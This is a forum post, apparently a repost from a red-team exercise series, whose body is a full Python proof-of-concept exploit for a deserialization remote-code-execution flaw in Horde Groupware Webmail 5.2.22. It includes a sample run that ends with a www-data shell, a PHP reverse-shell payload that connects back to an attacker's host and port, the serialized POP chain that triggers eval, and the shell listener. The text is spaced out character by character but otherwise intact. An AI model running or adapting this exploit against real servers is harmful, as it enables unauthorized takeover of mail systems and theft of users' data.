[7485] 2020-09-17_HW第七天0day快递盒在线吹水

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-17
2020-09-17_HW第七天0day快递盒在线吹水 H W : 0 d a y 线     F 1 1 T e a m   2 0 2 0 - 0 9 - 1 7   # H W   , 8 0 d a y H o r d e G r o u p w a r e W e b m a i l E d i t i o n   H o r d e   G r o u p w a r e   W e b m a i l H o r d e H o r d e   G r o u p w a r e   W e b m a i l P O C . / p o c . p y   1 7 2 . 1 6 . 1 7 5 . 1 4 8 / h o r d e /   h o r d e u s e r : p a s s 1 2 3   1 7 2 . 1 6 . 1 7 5 . 1 4 5 ( + )   t a r g e t i n g   h t t p : / / 1 7 2 . 1 6 . 1 7 5 . 1 4 5 / h o r d e / ( + )   o b t a i n e d   s e s s i o n   i e f a n k v o h b l 8 o g 0 m t a a d m 3 e f b 6 ( + )   i n s e r t e d   o u r   p h p   o b j e c t ( + )   t r i g g e r i n g   d e s e r i a l i z a t i o n . . . ( + )   s t a r t i n g   h a n d l e r   o n   p o r t   1 3 3 7 ( + )   c o n n e c t i o n   f r o m   1 7 2 . 1 6 . 1 7 5 . 1 4 5 ( + )   p o p   t h y   s h e l l ! i d u i d = 3 3 ( w w w - d a t a )   g i d = 3 3 ( w w w - d a t a )   g r o u p s = 3 3 ( w w w - d a t a ) p w d / v a r / w w w / h o r d e / s e r v i c e s # ! / u s r / b i n / e n v   p y t h o n 3 " " " H o r d e   G r o u p w a r e   W e b m a i l   E d i t i o n   S o r t   s o r t p r e f   D e s e r i a l i z a t i o n   o f   U n t r u s t e d   D a t a   R e m o t e   C o d e   E x e c u t i o n   V u l n e r a b i l i t y I d e n t i f i e r s :   Z D I - C A N - 1 0 4 3 6   /   Z D I - 2 0 - 1 0 5 1 F o u n d   b y   . . :   m r _ m e T e s t e d   o n   . :   H o r d e   G r o u p w a r e   W e b m a i l   5 . 2 . 2 2   ( p e a r   i n s t a l l a t i o n )   o n   D e b i a n   9   S t r e t c h   w /   A p a c h e / 2 . 4 . 2 5   &   P H P   7 . 0 . 3 3 S u m m a r y : = = = = = = = = I t ' s   p o s s i b l e   t o   r e a c h   a   d e s e r i a l i z a t i o n   o f   u n t r u s t e d   d a t a   v u l n e r a b i l i t y   w i t h i n   t h e   c o n s t r u c t o r   o f   t h e   I M P _ P r e f s _ S o r t   c l a s s .   A   l o w   p r i v i l e g e d   a u t h e n t i c a t e d   a t t a c k e r   c a n   l e v e r a g e   t h i s   t o   a c h i e v e   r e m o t e   c o d e   e x e c u t i o n . E x a m p l e : = = = = = = = = s a t u r n : ~   m r _ m e $   . / p o c . p y   ( + )   u s a g e   . / p o c . p y   < t a r g e t >   < p a t h >   < u s e r : p a s s >   < c o n n e c t b a c k : p o r t > ( + )   e g :   . / p o c . p y   1 7 2 . 1 6 . 1 7 5 . 1 4 8   / h o r d e /   h o r d e u s e r : p a s s 1 2 3   1 7 2 . 1 6 . 1 7 5 . 1 : 1 3 3 7 s a t u r n : ~   m r _ m e $   . / p o c . p y   1 7 2 . 1 6 . 1 7 5 . 1 4 8   / h o r d e /   h o r d e u s e r : p a s s 1 2 3   1 7 2 . 1 6 . 1 7 5 . 1 : 1 3 3 7 ( + )   t a r g e t i n g   h t t p : / / 1 7 2 . 1 6 . 1 7 5 . 1 4 5 / h o r d e / ( + )   o b t a i n e d   s e s s i o n   i e f a n k v o h b l 8 o g 0 m t a a d m 3 e f b 6 ( + )   i n s e r t e d   o u r   p h p   o b j e c t ( + )   t r i g g e r i n g   d e s e r i a l i z a t i o n . . . ( + )   s t a r t i n g   h a n d l e r   o n   p o r t   1 3 3 7 ( + )   c o n n e c t i o n   f r o m   1 7 2 . 1 6 . 1 7 5 . 1 4 5 ( + )   p o p   t h y   s h e l l ! i d u i d = 3 3 ( w w w - d a t a )   g i d = 3 3 ( w w w - d a t a )   g r o u p s = 3 3 ( w w w - d a t a ) p w d / v a r / w w w / h o r d e / s e r v i c e s u n a m e   - a L i n u x   t a r g e t   4 . 9 . 0 - 1 1 - a m d 6 4   # 1   S M P   D e b i a n   4 . 9 . 1 8 9 - 3 + d e b 9 u 1   ( 2 0 1 9 - 0 9 - 2 0 )   x 8 6 _ 6 4   G N U / L i n u x e x i t * * *   C o n n e c t i o n   c l o s e d   b y   r e m o t e   h o s t   * * * ( + )   r e p a i r e d   t h e   t a r g e t ! " " " i m p o r t   r e i m p o r t   s y s i m p o r t   s o c k e t i m p o r t   r e q u e s t s i m p o r t   t e l n e t l i b i m p o r t   b a s e 6 4 f r o m   t h r e a d i n g   i m p o r t   T h r e a d d e f   r s ( c b h ,   c b p ) :         r e t u r n   " " " @ e r r o r _ r e p o r t i n g ( - 1 ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ;   @ i g n o r e _ u s e r _ a b o r t ( 1 ) ; $ d i s = @ i n i _ g e t ( ' d i s a b l e _ f u n c t i o n s ' ) ; i f ( ! e m p t y ( $ d i s ) ) {
i f ( ! e m p t y ( $ d i s ) ) {         $ d i s = p r e g _ r e p l a c e ( ' / [ ,   ] + / ' ,   ' , ' ,   $ d i s ) ;         $ d i s = e x p l o d e ( ' , ' ,   $ d i s ) ;         $ d i s = a r r a y _ m a p ( ' t r i m ' ,   $ d i s ) ; } e l s e {         $ d i s = a r r a y ( ) ; } $ i p a d d r = ' % s ' ; $ p o r t = % d ; f u n c t i o n   P t d S l h Y ( $ c ) {         g l o b a l   $ d i s ;           i f   ( F A L S E   ! = =   s t r p o s ( s t r t o l o w e r ( P H P _ O S ) ,   ' w i n '   ) )   {                 $ c = $ c . "   2 > & 1 n " ;         }         o b _ s t a r t ( ) ;         s y s t e m ( $ c ) ;         $ o = o b _ g e t _ c o n t e n t s ( ) ;         o b _ e n d _ c l e a n ( ) ;         i f   ( s t r l e n ( $ o )   = = =   0 ) {                 $ o   =   " N U L L " ;         }         r e t u r n   $ o ; } $ n o f u n c s = ' n o   e x e c   f u n c t i o n s ' ; $ s = @ f s o c k o p e n ( " t c p : / / $ i p a d d r " , $ p o r t ) ; w h i l e ( $ c = f r e a d ( $ s , 2 0 4 8 ) ) {         $ o u t   =   ' ' ;         i f ( s u b s t r ( $ c , 0 , 3 )   = =   ' c d   ' ) {                 c h d i r ( s u b s t r ( $ c , 3 , - 1 ) ) ;         } e l s e   i f   ( s u b s t r ( $ c , 0 , 4 )   = =   ' q u i t '   | |   s u b s t r ( $ c , 0 , 4 )   = =   ' e x i t ' )   {                 b r e a k ;         } e l s e {                 $ o u t = P t d S l h Y ( s u b s t r ( $ c , 0 , - 1 ) ) ;                 i f ( $ o u t = = = f a l s e ) {                         f w r i t e ( $ s ,   $ n o f u n c s ) ;                         b r e a k ;                 }         }         f w r i t e ( $ s , $ o u t ) ; } f c l o s e ( $ s ) ; " " "   %   ( c b h ,   c b p ) d e f   g e t _ s e s s i o n ( t ,   p ,   u s r ,   p w d ) :         u r i   =   " h t t p : / / % s % s l o g i n . p h p "   %   ( t ,   p )         p   =   {                 " l o g i n _ p o s t "   :   1 3 3 7 ,                 " h o r d e _ u s e r "   :   u s r ,                 " h o r d e _ p a s s "   :   p w d         }         r   =   r e q u e s t s . p o s t ( u r i ,   d a t a = p ,   a l l o w _ r e d i r e c t s = F a l s e )         m a t c h   =   r e . f i n d a l l ( " H o r d e = ( . { 2 6 } ) ; " ,   r . h e a d e r s [ ' s e t - c o o k i e ' ] )         a s s e r t   l e n ( m a t c h )   = =   2 ,   " ( - )   f a i l e d   t o   l o g i n "         r e t u r n   m a t c h [ 1 ] d e f   t r i g g e r _ d e s e r i a l i z a t i o n ( t ,   p ,   s ,   h o s t ,   p o r t ) :         " " "   O b j e c t   i n s t a n t i a t i o n   t o   r e a c h   t h e   d e s e r i a l i z a t i o n   " " "         h a n d l e r t h r   =   T h r e a d ( t a r g e t = h a n d l e r ,   a r g s = ( p o r t , ) )         h a n d l e r t h r . s t a r t ( )         u r i   =   " h t t p : / / % s % s s e r v i c e s / a j a x . p h p / i m p / i m p l e "   %   ( t ,   p )         p   =   {                 " i m p l e "   :   " I M P _ P r e f s _ S o r t " ,                 " a p p "   :   " i m p " ,         }         h   =   {   " c m d "   :   b a s e 6 4 . b 6 4 e n c o d e ( r s ( h o s t ,   p o r t ) . e n c o d e ( ) )   }         c   =   {   " H o r d e "   :   s   }         r   =   r e q u e s t s . g e t ( u r i ,   p a r a m s = p ,   c o o k i e s = c ,   h e a d e r s = h )         m a t c h   =   r e . s e a r c h ( " h o r d e _ l o g o u t _ t o k e n = ( . * ) & " ,   r . t e x t )         a s s e r t   m a t c h ,   " ( - )   f a i l e d   t o   l e a k   t h e   h o r d e _ l o g o u t _ t o k e n ! "         p [ ' t o k e n ' ]   =   m a t c h . g r o u p ( 1 )         r   =   r e q u e s t s . g e t ( u r i ,   p a r a m s = p ,   c o o k i e s = c ,   h e a d e r s = h )         a s s e r t   r . s t a t u s _ c o d e   = =   2 0 0 ,   " ( - )   f a i l e d   t o   t r i g g e r   d e s e r i a l i z a t i o n ! " d e f   g e t _ p o p ( ) :         " " "   A n   u p d a t e d   p o p   c h a i n   " " "         p o p     =   ' O : 3 4 : " H o r d e _ K o l a b _ S e r v e r _ D e c o r a t o r _ C l e a n " : 2 : { '         p o p   + =   ' S : 4 3 : " 0 0 H o r d e _ K o l a b _ S e r v e r _ D e c o r a t o r _ C l e a n 0 0 _ s e r v e r " ; O : 2 0 : " H o r d e _ P r e f s _ I d e n t i t y " : 3 : { '         p o p   + =   ' S : 9 : " 0 0 * 0 0 _ p r e f s " ; O : 1 1 : " H o r d e _ P r e f s " : 2 : { '         p o p   + =   ' S : 8 : " 0 0 * 0 0 _ o p t s " ; a : 1 : { '         p o p   + =   ' s : 1 2 : " s i z e c a l l b a c k " ; a : 2 : { i : 0 ; O : 1 2 : " H o r d e _ C o n f i g " : 1 : { '         p o p   + =   ' S : 1 3 : " 0 0 * 0 0 _ o l d C o n f i g " ; s : 4 4 : " e v a l ( b a s e 6 4 _ d e c o d e ( $ _ S E R V E R [ H T T P _ C M D ] ) ) ; d i e ; " ; '         p o p   + =   ' } i : 1 ; s : 1 3 : " r e a d X M L C o n f i g " ; } } '
        p o p   + =   ' S : 1 0 : " 0 0 * 0 0 _ s c o p e s " ; a : 1 : { '         p o p   + =   ' s : 5 : " h o r d e " ; C : 1 7 : " H o r d e _ P r e f s _ S c o p e " : 1 0 : { [ n u l l , [ 1 ] ] } } } '     #   i m p l e m e n t s   S e r i a l i z a b l e   u s i n g   c u s t o m   u n s e r i a l i z e / s e r i a l i z e         p o p   + =   ' S : 1 3 : " 0 0 * 0 0 _ p r e f n a m e s " ; a : 1 : { s : 1 0 : " i d e n t i t i e s " ; i : 0 ; } '         p o p   + =   ' S : 1 4 : " 0 0 * 0 0 _ i d e n t i t i e s " ; a : 1 : { i : 0 ; i : 0 ; } } '                           #   a d d i t i o n a l   c h e c k s         p o p   + =   ' S : 4 2 : " 0 0 H o r d e _ K o l a b _ S e r v e r _ D e c o r a t o r _ C l e a n 0 0 _ a d d e d " ; a : 1 : { i : 0 ; i : 0 ; } } '         r e t u r n   p o p d e f   g e t _ p a t c h ( ) :         " " "   O u r   o r i g i n a l   a r r a y   " " "         p a t c h     =   ' a : 1 : { '         p a t c h   + =   ' s : 5 : " I N B O X " ; a : 1 : { '         p a t c h   + =   ' s : 1 : " b " ; i : 6 ; '         p a t c h   + =   ' } } '         r e t u r n   p a t c h d e f   s e t _ p r e f ( t ,   p ,   s ,   k ,   o ) :         " " "   A   p r i m i t i v e   t h a t   i n s e r t s   a   s t r i n g   i n t o   t h e   d a t a b a s e   " " "         u r i   =   " h t t p : / / % s % s s e r v i c e s / a j a x . p h p / i m p / s e t P r e f V a l u e "   %   ( t ,   p )         p   =   {                 " p r e f "   :   k ,                 " v a l u e "   :   o ,         }         c   =   {   " H o r d e "   :   s   }         r   =   r e q u e s t s . g e t ( u r i ,   p a r a m s = p ,   c o o k i e s = c )         m a t c h   =   r e . s e a r c h ( " h o r d e _ l o g o u t _ t o k e n = ( . * ) & " ,   r . t e x t )         a s s e r t   m a t c h ,   " ( - )   f a i l e d   t o   l e a k   t h e   h o r d e _ l o g o u t _ t o k e n ! "         p [ ' t o k e n ' ]   =   m a t c h . g r o u p ( 1 )         r   =   r e q u e s t s . g e t ( u r i ,   p a r a m s = p ,   c o o k i e s = c )         a s s e r t   ( " " r e s p o n s e " : t r u e "   i n   r . t e x t   a n d   r . s t a t u s _ c o d e   = =   2 0 0 ) ,   " ( - )   f a i l e d   t o   s e t   t h e   p r e f e r e n c e ! " d e f   h a n d l e r ( l p o r t ) :         p r i n t ( " ( + )   s t a r t i n g   h a n d l e r   o n   p o r t   % d "   %   l p o r t )         t   =   t e l n e t l i b . T e l n e t ( )         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . b i n d ( ( " 0 . 0 . 0 . 0 " ,   l p o r t ) )         s . l i s t e n ( 1 )         c o n n ,   a d d r   =   s . a c c e p t ( )         p r i n t ( " ( + )   c o n n e c t i o n   f r o m   % s "   %   a d d r [ 0 ] )         t . s o c k   =   c o n n         p r i n t ( " ( + )   p o p   t h y   s h e l l ! " )         t . i n t e r a c t ( ) d e f   f i x _ p a t h ( p ) :         i f   p   = =   " / " :                 r e t u r n   p         i f   n o t   p . s t a r t s w i t h ( " / " ) :                 p   =   " / % s "   %   p         i f   n o t   p . e n d s w i t h ( " / " ) :                 p   =   " % s / "   %   p         r e t u r n   p d e f   m a i n ( ) :         i f   l e n ( s y s . a r g v )   <   5 :                 p r i n t ( " ( + )   u s a g e   % s   < t a r g e t >   < p a t h >   < u s e r : p a s s >   < c o n n e c t b a c k : p o r t > "   %   s y s . a r g v [ 0 ] )                 p r i n t ( " ( + )   e g :   % s   1 7 2 . 1 6 . 1 7 5 . 1 4 8   / h o r d e /   h o r d e u s e r : p a s s 1 2 3   1 7 2 . 1 6 . 1 7 5 . 1 : 1 3 3 7 "   %   s y s . a r g v [ 0 ] )                 s y s . e x i t ( 0 )         t a r g e t   =   s y s . a r g v [ 1 ]         p a t h       =   f i x _ p a t h ( s y s . a r g v [ 2 ] )         u s e r       =   s y s . a r g v [ 3 ] . s p l i t ( " : " ) [ 0 ]         p s w d       =   s y s . a r g v [ 3 ] . s p l i t ( " : " ) [ 1 ]         h o s t       =   s y s . a r g v [ 4 ] . s p l i t ( " : " ) [ 0 ]         p o r t       =   i n t ( s y s . a r g v [ 4 ] . s p l i t ( " : " ) [ 1 ] )         p r i n t ( " ( + )   t a r g e t i n g   h t t p : / / % s % s "   %   ( t a r g e t ,   p a t h ) )         s e s s i o n   =   g e t _ s e s s i o n ( t a r g e t ,   p a t h ,   u s e r ,   p s w d )         p r i n t ( " ( + )   o b t a i n e d   s e s s i o n   % s "   %   s e s s i o n )         s e t _ p r e f ( t a r g e t ,   p a t h ,   s e s s i o n ,   ' s o r t p r e f ' ,   g e t _ p o p ( ) )         p r i n t ( " ( + )   i n s e r t e d   o u r   p h p   o b j e c t " )         p r i n t ( " ( + )   t r i g g e r i n g   d e s e r i a l i z a t i o n . . . " )         t r i g g e r _ d e s e r i a l i z a t i o n ( t a r g e t ,   p a t h ,   s e s s i o n ,   h o s t ,   p o r t )         s e t _ p r e f ( t a r g e t ,   p a t h ,   s e s s i o n ,   ' s o r t p r e f ' ,   g e t _ p a t c h ( ) )         p r i n t ( " ( + )   r e p a i r e d   t h e   t a r g e t ! " ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则